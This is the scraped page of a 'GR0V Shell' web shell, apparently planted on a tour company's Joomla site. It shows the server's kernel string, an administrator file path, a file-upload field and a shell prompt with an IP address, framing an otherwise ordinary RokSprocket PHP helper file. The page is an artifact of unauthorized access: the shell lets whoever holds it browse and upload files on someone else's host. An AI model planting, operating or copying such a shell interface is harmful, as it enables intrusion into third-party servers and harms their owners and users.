? GR0V Shell

GR0V shell

Linux www.koreapackagetour.com 2.6.32-042stab145.3 #1 SMP Thu Jun 11 14:05:04 MSK 2020 x86_64

Path : /home/admin/public_html/old/administrator/components/com_roksprocket/helpers/
File Upload :
Current File : /home/admin/public_html/old/administrator/components/com_roksprocket/helpers/legacy_class.php

<?php
/**
 * @version   $Id: legacy_class.php 10885 2013-05-30 06:31:41Z btowles $
 * @author    RocketTheme http://www.rockettheme.com
 * @copyright Copyright (C) 2007 - 2015 RocketTheme, LLC
 * @license   http://www.gnu.org/licenses/gpl-2.0.html GNU/GPLv2 only
 */
defined('_JEXEC') or die('Restricted access');

if (method_exists('JSession','checkToken')) {
	function roksprocket_checktoken($method = 'post')
	{
		if ($method == 'default')
		{
			$method = 'request';
		}
		return JSession::checkToken($method);
	}
} else {
	function roksprocket_checktoken($method = 'post')
	{
		return JRequest::checkToken($method);
	}
}

if (!class_exists('RokSprocketLegacyJView', false)) {
  $jversion = new JVersion();
  if (version_compare($jversion->getShortVersion(), '2.5.5', '>')) {
    class RokSprocketLegacyJView extends JViewLegacy
    {
    }

    class RokSprocketLegacyJController extends JControllerLegacy
    {
    }

    class RokSprocketLegacyJModel extends JModelLegacy
    {
    }
  } else {
    jimport('joomla.application.component.view');
    jimport('joomla.application.component.controller');
    jimport('joomla.application.component.model');
    class RokSprocketLegacyJView extends JView
    {
    }

    class RokSprocketLegacyJController extends JController
    {
    }

    class RokSprocketLegacyJModel extends JModel
    {
    }
  }
}

T1KUS90T
  root-grov@210.1.60.28:~$